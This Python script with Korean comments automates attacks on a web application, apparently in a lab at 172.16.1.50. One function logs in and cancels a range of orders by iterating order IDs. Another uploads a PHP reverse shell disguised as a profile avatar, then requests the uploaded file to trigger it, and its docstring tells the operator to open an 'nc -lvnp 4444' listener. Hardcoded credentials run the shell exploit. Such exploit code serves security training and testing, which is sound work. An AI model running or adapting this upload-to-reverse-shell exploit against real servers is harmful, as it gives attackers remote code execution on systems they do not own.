from HTTP_pac import RawHttpSession
from getters import getMainIface, getIfaceIp, getFreePort
from urllib.parse import urlencode
import time
from typing import Dict, Mapping, Any


def _update_cookie_jar(cookie_jar: Dict[str, str], response: Mapping[str, Any]) -> None:
    """RawHttpSession 응답의 Set-Cookie를 브라우저식 쿠키 저장소에 반영합니다."""
    response_cookies = response.get("cookies", {})
    if isinstance(response_cookies, dict):
        for name, value in response_cookies.items():
            cookie_jar[str(name)] = str(value)


def _cookie_header(cookie_jar: Mapping[str, str]) -> str:
    """쿠키 딕셔너리를 HTTP Cookie 헤더 문자열로 변환합니다."""
    return "; ".join(f"{name}={value}" for name, value in cookie_jar.items())


def cancelAllOrders(wasIp: str, username: str, password: str) -> None:
    """하나의 RawHttpSession을 유지한 채 로그인 후 주문 1~30을 취소합니다.

    이 함수는 TCP 연결을 요청마다 다시 만들지 않습니다. GET /, 로그인 POST,
    로그인 리다이렉트 GET, 주문 취소 요청 전체가 같은 5-tuple과 같은 TCP
    SND.NXT/RCV.NXT 상태를 사용하므로 유지형 세션 회귀 시험에도 사용할 수 있습니다.
    """
    iface = getMainIface()
    cookie_jar: Dict[str, str] = {}

    print("HTTP(TCP) 세션을 형성합니다... ", end="")
    httpSession = RawHttpSession(
        dstIp=wasIp,
        srcIp=getIfaceIp(iface),
        srcPort=getFreePort(),
    )
    httpSession.connect()
    print("완료")

    try:
        # 1. 메인 페이지 GET - 익명 VMSESSID 수신
        print("메인 페이지를 요청합니다... ", end="")
        headers = {
            "Host": wasIp,
            "Connection": "keep-alive",
            "Upgrade-Insecure-Requests": "1",
            "User-Agent": (
                "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
                "AppleWebKit/537.36 (KHTML, like Gecko) "
                "Chrome/150.0.0.0 Safari/537.36"
            ),
            "Accept": (
                "text/html,application/xhtml+xml,application/xml;q=0.9,"
                "image/avif,image/webp,image/apng,*/*;q=0.8"
            ),
            "Accept-Encoding": "gzip, deflate",
            "Accept-Language": "en-US,en;q=0.9",
        }
        response = httpSession.request(method="GET", uri="/", headers=headers)
        _update_cookie_jar(cookie_jar, response)
        print(f"완료 ({response['status_code']})")

        if "VMSESSID" not in cookie_jar:
            raise RuntimeError("메인 페이지 응답에서 VMSESSID를 받지 못했습니다.")
        print(f"익명 VMSESSID: {cookie_jar['VMSESSID']}")

        # 2. 로그인 POST - 같은 TCP 연결, 같은 익명 쿠키 사용
        print("로그인 요청을 통해 VMSESSID를 인가받습니다... ", end="")
        headers = {
            "Host": wasIp,
            "Connection": "keep-alive",
            "Cache-Control": "max-age=0",
            "Upgrade-Insecure-Requests": "1",
            "Content-Type": "application/x-www-form-urlencoded",
            "User-Agent": (
                "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
                "AppleWebKit/537.36 (KHTML, like Gecko) "
                "Chrome/150.0.0.0 Safari/537.36"
            ),
            "Origin": f"http://{wasIp}",
            "Accept": (
                "text/html,application/xhtml+xml,application/xml;q=0.9,"
                "image/avif,image/webp,image/apng,*/*;q=0.8"
            ),
            "Referer": f"http://{wasIp}/login.php",
            "Accept-Encoding": "gzip, deflate",
            "Accept-Language": "en-US,en;q=0.9",
            "Cookie": _cookie_header(cookie_jar),
        }
        body = urlencode(
            {
                "next": "/",
                "username": username,
                "password": password,
            }
        )
        response = httpSession.request(
            method="POST",
            uri="/login.php",
            headers=headers,
            body=body,
        )
        _update_cookie_jar(cookie_jar, response)

        location = response["headers"].get("location")
        if response["status_code"] not in (302, 303) or not location:
            raise RuntimeError(
                "로그인 성공 리다이렉트를 받지 못했습니다: "
                f"status={response['status_code']}, location={location!r}"
            )
        if "VMSESSID" not in cookie_jar:
            raise RuntimeError("로그인 응답에서 인가된 VMSESSID를 받지 못했습니다.")
        print(
            f"완료 ({response['status_code']}, "
            f"인가받은 VMSESSID: {cookie_jar['VMSESSID']})"
        )

        # 3. 브라우저처럼 302 Location을 같은 TCP 연결에서 따라갑니다.
        print(f"로그인 리다이렉트({location})를 따라갑니다... ", end="")
        redirect_headers = {
            "Host": wasIp,
            "Connection": "keep-alive",
            "User-Agent": headers["User-Agent"],
            "Accept": headers["Accept"],
            "Accept-Encoding": "gzip, deflate",
            "Accept-Language": "en-US,en;q=0.9",
            "Referer": f"http://{wasIp}/login.php",
            "Cookie": _cookie_header(cookie_jar),
        }
        response = httpSession.request(
            method="GET",
            uri=location,
            headers=redirect_headers,
        )
        _update_cookie_jar(cookie_jar, response)
        print(f"완료 ({response['status_code']})")

        # 4. 주문번호 1~30 취소 - 같은 TCP 연결을 계속 재사용
        print("주문을 취소합니다(1~30번 주문)...")
        for orderId in range(1, 35):
            print(f"{orderId}번 주문 취소... ", end="")
            cancel_headers = {
                "Host": wasIp,
                "Connection": "keep-alive",
                "Upgrade-Insecure-Requests": "1",
                "User-Agent": headers["User-Agent"],
                "Accept": headers["Accept"],
                "Referer": f"http://{wasIp}/order.php?id={orderId}",
                "Accept-Encoding": "gzip, deflate",
                "Accept-Language": "en-US,en;q=0.9",
                "Cookie": _cookie_header(cookie_jar),
            }
            response = httpSession.request(
                method="GET",
                uri=f"/order.php?id={orderId}&action=cancel",
                headers=cancel_headers,
            )
            _update_cookie_jar(cookie_jar, response)
            location = response["headers"].get("location")
            print(
                f"요청 완료 ({response['status_code']}"
                + (f", Location={location}" if location else "")
                + ")"
            )
            time.sleep(0.01)

        print("완료")
    finally:
        print("HTTP(TCP) 세션을 종료합니다... ", end="")
        try:
            httpSession.close()
            print("완료")
        except Exception:
            httpSession.abort()
            print("비정상 종료(RST/자원 정리)")
            raise




def getReverseShell(wasIp: str, username: str, password: str, payloadPath: str):
    """nc -lvnp 4444 명령어를 사용해 포트를 열어놔주세요
    """
    # 1. 로그인
    iface = getMainIface()
    cookie_jar: Dict[str, str] = {}

    print("HTTP(TCP) 세션을 형성합니다... ", end="")
    httpSession = RawHttpSession(
        dstIp=wasIp,
        srcIp=getIfaceIp(iface),
        srcPort=getFreePort(),
    )
    httpSession.connect()
    print("완료")

    try:
        # 1. 메인 페이지 GET - 익명 VMSESSID 수신
        print("메인 페이지를 요청합니다... ", end="")
        headers = {
            "Host": wasIp,
            "Connection": "keep-alive",
            "Upgrade-Insecure-Requests": "1",
            "User-Agent": (
                "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
                "AppleWebKit/537.36 (KHTML, like Gecko) "
                "Chrome/150.0.0.0 Safari/537.36"
            ),
            "Accept": (
                "text/html,application/xhtml+xml,application/xml;q=0.9,"
                "image/avif,image/webp,image/apng,*/*;q=0.8"
            ),
            "Accept-Encoding": "gzip, deflate",
            "Accept-Language": "en-US,en;q=0.9",
        }
        response = httpSession.request(method="GET", uri="/", headers=headers)
        _update_cookie_jar(cookie_jar, response)
        print(f"완료 ({response['status_code']})")

        if "VMSESSID" not in cookie_jar:
            raise RuntimeError("메인 페이지 응답에서 VMSESSID를 받지 못했습니다.")
        print(f"익명 VMSESSID: {cookie_jar['VMSESSID']}")

        # 2. 로그인 POST - 같은 TCP 연결, 같은 익명 쿠키 사용
        print("로그인 요청을 통해 VMSESSID를 인가받습니다... ", end="")
        headers = {
            "Host": wasIp,
            "Connection": "keep-alive",
            "Cache-Control": "max-age=0",
            "Upgrade-Insecure-Requests": "1",
            "Content-Type": "application/x-www-form-urlencoded",
            "User-Agent": (
                "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
                "AppleWebKit/537.36 (KHTML, like Gecko) "
                "Chrome/150.0.0.0 Safari/537.36"
            ),
            "Origin": f"http://{wasIp}",
            "Accept": (
                "text/html,application/xhtml+xml,application/xml;q=0.9,"
                "image/avif,image/webp,image/apng,*/*;q=0.8"
            ),
            "Referer": f"http://{wasIp}/login.php",
            "Accept-Encoding": "gzip, deflate",
            "Accept-Language": "en-US,en;q=0.9",
            "Cookie": _cookie_header(cookie_jar),
        }
        body = urlencode(
            {
                "next": "/",
                "username": username,
                "password": password,
            }
        )
        response = httpSession.request(
            method="POST",
            uri="/login.php",
            headers=headers,
            body=body,
        )
        _update_cookie_jar(cookie_jar, response)

        location = response["headers"].get("location")
        if response["status_code"] not in (302, 303) or not location:
            raise RuntimeError(
                "로그인 성공 리다이렉트를 받지 못했습니다: "
                f"status={response['status_code']}, location={location!r}"
            )
        if "VMSESSID" not in cookie_jar:
            raise RuntimeError("로그인 응답에서 인가된 VMSESSID를 받지 못했습니다.")
        print(
            f"완료 ({response['status_code']}, "
            f"인가받은 VMSESSID: {cookie_jar['VMSESSID']})"
        )

        # 3. 브라우저처럼 302 Location을 같은 TCP 연결에서 따라갑니다.
        print(f"로그인 리다이렉트({location})를 따라갑니다... ", end="")
        redirect_headers = {
            "Host": wasIp,
            "Connection": "keep-alive",
            "User-Agent": headers["User-Agent"],
            "Accept": headers["Accept"],
            "Accept-Encoding": "gzip, deflate",
            "Accept-Language": "en-US,en;q=0.9",
            "Referer": f"http://{wasIp}/login.php",
            "Cookie": _cookie_header(cookie_jar),
        }
        response = httpSession.request(
            method="GET",
            uri=location,
            headers=redirect_headers,
        )
        _update_cookie_jar(cookie_jar, response)
        print(f"완료 ({response['status_code']})")

        print("/profile.php GET 요청을 보냅니다... ", end='')
        headers = {
            "Host": wasIp,
            "Connection": "keep-alive",
            "Upgrade-Insecure-Requests": "1",
            "User-Agent": (
                "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
                "AppleWebKit/537.36 (KHTML, like Gecko) "
                "Chrome/150.0.0.0 Safari/537.36"
            ),
            "Accept": (
                "text/html,application/xhtml+xml,application/xml;q=0.9,"
                "image/avif,image/webp,image/apng,*/*;q=0.8"
            ),
            "Accept-Encoding": "gzip, deflate",
            "Accept-Language": "en-US,en;q=0.9",
            "Cookie": _cookie_header(cookie_jar),
        }
        response = httpSession.request(method="GET", uri="/profile.php", headers=headers)
        _update_cookie_jar(cookie_jar, response)
        print(f"완료 ({response['status_code']})")

        # 이미지(페이로드) 업로드
        print("리버스 쉘 페이로드를 업로드합니다... ", end='')
        with open(payloadPath, "rb") as f:
            payloadBytes = f.read()
            #print(payloadBytes)
            # 2. 패킷 헤더용 Boundary 정의
            boundary = "----WebKitFormBoundary0eIEFhkBDLWYBpkW"

            # 3. HTTP Body (multipart/form-data 형식) byte 조립
            # 문자열(str)과 파일(bytes)을 섞을 때는 str을 .encode()하여 bytes로 맞춘 뒤 합칩니다.
            body_bytes = (
                f"--{boundary}\r\n".encode("iso-8859-1")
                + b'Content-Disposition: form-data; name="action"\r\n\r\n'
                + b"avatar_upload\r\n"
                + f"--{boundary}\r\n".encode("iso-8859-1")
                + f'Content-Disposition: form-data; name="avatar"; filename="reverseshell.php"\r\n'.encode("iso-8859-1") # 하드코딩 주의
                + b"Content-Type: application/octet-stream\r\n\r\n"
                + payloadBytes  # 읽어온 PHP 파일 bytes
                + f"\r\n--{boundary}--\r\n".encode("iso-8859-1")
            )
            print(payloadBytes)
            response = httpSession.request(
                method="POST",
                uri="/profile.php",
                headers={
                    "Content-Type": f"multipart/form-data; boundary={boundary}",
                    "Cookie": _cookie_header(cookie_jar),  # 필요 시 세션 쿠키 추가
                    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
                },
                body=body_bytes,  # 조립된 bytes 전달
            )
            print("완료")
            
            from pprint import pprint
            pprint(response["body"])
    
        # 리버스쉘 파일 GET
        #print("/profile.php GET 요청을 보냅니다... ", end='')
        print("/uploads/reverseshell.php GET 요청을 보냅니다... ", end='') # 하드코딩주의
        headers = {
            "Host": wasIp,
            "Connection": "keep-alive",
            "Upgrade-Insecure-Requests": "1",
            "User-Agent": (
                "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
                "AppleWebKit/537.36 (KHTML, like Gecko) "
                "Chrome/150.0.0.0 Safari/537.36"
            ),
            "Accept": (
                "text/html,application/xhtml+xml,application/xml;q=0.9,"
                "image/avif,image/webp,image/apng,*/*;q=0.8"
            ),
            "Accept-Encoding": "gzip, deflate",
            "Accept-Language": "en-US,en;q=0.9",
            "Cookie": _cookie_header(cookie_jar),
        }
        response = httpSession.request(method="GET", uri="/uploads/reverseshell.php", headers=headers) # 하드코딩 주의
        _update_cookie_jar(cookie_jar, response)
        print(f"완료 ({response['status_code']})")

        print("이제 아마 리버스쉘이 열렸어야 합니다.")
            


    finally:
        print("HTTP(TCP) 세션을 종료합니다... ", end="")
        try:
            httpSession.close()
            print("완료")
        except Exception:
            httpSession.abort()
            print("비정상 종료(RST/자원 정리)")
            raise




"""

from pac import RawHttpSession

# 1. 로컬에 있는 PHP 파일 읽어오기 (rb 모드로 열면 바로 bytes 객체가 됨)
file_path = "reverseshell.php"

with open(file_path, "rb") as f:
    file_bytes = f.read()  # type: bytes (예: b'<?php\n// PHP Reverse Shell...')

# 2. 패킷 헤더용 Boundary 정의
boundary = "----WebKitFormBoundary0eIEFhkBDLWYBpkW"

# 3. HTTP Body (multipart/form-data 형식) byte 조립
# 문자열(str)과 파일(bytes)을 섞을 때는 str을 .encode()하여 bytes로 맞춘 뒤 합칩니다.
body_bytes = (
    f"--{boundary}\r\n".encode("iso-8859-1")
    + b'Content-Disposition: form-data; name="action"\r\n\r\n'
    + b"upload\r\n"
    + f"--{boundary}\r\n".encode("iso-8859-1")
    + f'Content-Disposition: form-data; name="avatar"; filename="{file_path}"\r\n'.encode("iso-8859-1")
    + b"Content-Type: application/octet-stream\r\n\r\n"
    + file_bytes  # 읽어온 PHP 파일 bytes
    + f"\r\n--{boundary}--\r\n".encode("iso-8859-1")
)

# 4. RawHttpSession을 사용한 자동 전송
TARGET_IP = "172.16.1.50"
TARGET_PORT = 80

session = RawHttpSession(dstIp=TARGET_IP, dstPort=TARGET_PORT)
session.connect()

response = session.request(
    method="POST",
    uri="/profile.php",
    headers={
        "Content-Type": f"multipart/form-data; boundary={boundary}",
        "Cookie": "VMSESSID=7c5e7d81472d9942cf6fc011053eed70; vm_role=user",  # 필요 시 세션 쿠키 추가
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
    },
    body=body_bytes,  # 조립된 bytes 전달
)

print(f"[+] Status Code: {response['status_code']}")
print(f"[+] Response Text:\n{response['text']}")

session.close()



"""







if __name__ == "__main__":
    getReverseShell("172.16.1.50", "alice", "alice123", "./reverseshell.php")
